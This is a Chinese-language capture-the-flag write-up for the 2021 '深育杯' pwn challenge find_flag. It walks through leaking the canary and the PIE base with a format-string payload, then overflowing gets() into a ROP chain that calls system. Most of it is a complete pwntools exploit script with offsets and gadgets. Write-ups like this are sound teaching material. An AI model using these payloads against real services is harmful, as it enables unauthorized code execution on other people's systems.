# 题目复现 ——[深育杯 2021] find_flag

pie 与 canary 同时开启,并且有格式化字符串。

# 检查程序:

image-20230609204936112

保护很全面。

image-20230609205227082

可以看的出,在第一处有格式化字符串漏洞。

# IDA 分析:

image-20230609205448884

看了一下 mian 函数,将函数重命名,pwn 是我们有漏洞的地方。

image-20230609205602697

可以看到 gets 函数可以进行栈溢出,但是有 canary 保护,所以我们需要泄露 canary,可以利用格式化字符串去泄露 canary 并覆写在栈上。

image-20230609205729803

发现 backdoor。但是开了 pie,我们应该无法利用后们,但是好在只读变量(const 修饰的)和字符串变量放入 rodata 区。还是可以利用的。

# gdb 分析:

打断点在 printf 处(不知到为什么不能在 main 函数处大不了断点,很奇怪

image-20230609210601700

一直步到下图处

image-20230609210758887

看栈信息,很明显能看到 canary——>

0b:0058│ 0x7fffffffdd18 ◂— 0x121203e586d31600

image-20230609210832637

看一下距格式化字符串的偏移。

image-20230609211002101

但是难点不是在泄露 canary,而是在泄露基址上去,需要了解 pie 和栈,可以看到,在 rbp 下面刚好有一个我们能泄露函数基址,但是为什么是他呢?

考虑因为这个地址代表了我们的 main 函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。

image-20230609211705133

接下来就是确定偏移了(须注意的一点就是需要在 gets 函数输入后,在查看栈的情况,这样更好确定。

image-20230609211905134

# exp 构造环节:

既然我们找到了,我们就构造 payload1 去泄露 canary 和基址

n
paylaod1 = b'%17$p---%19$p'

在构造 rop 链的准备。

n
Base = base - 0x146F
system = Base + elf.sym['system']
catflag = Base + 0x2004 # robata 中的字符串
#ROPgadget --binary file --only 'pop|ret'
rdi = Base + 0x14E3
ret = Base + 0x101A

# exp:

n
from pwn import *
context.log_level = 'debug'
local = 1
if local:
	p = process('ff')
else:
	p = remote('node4.anna.nssctf.cn',28068)
elf = ELF('./ff')
context.log_level = 'debug'
context(arch='amd64',os='linux')
p.recvuntil(b'name? ')
payload1 = b'%17$p---%19$p'
p.sendline(payload1)
p.recvuntil(b'you, ')
canary = int(p.recv(18), 16)
print(hex(canary))
p.recvuntil(b'---')
base = int(p.recv(14), 16)
print(hex(base))
Base = base - 0x146F
system = Base + elf.sym['system']
catflag = Base + 0x2004
#ropgadget
rdi = Base + 0x14E3
ret = Base + 0x101A
payload = b'a'*0x38 + p64(canary) + b'a'*8 + p64(ret) + p64(rdi) + p64(catflag) + p64(system)
p.recvuntil(b'else? ')
p.sendline(payload)
p.recv()
p.interactive()

# 结果:

image-20230609212855635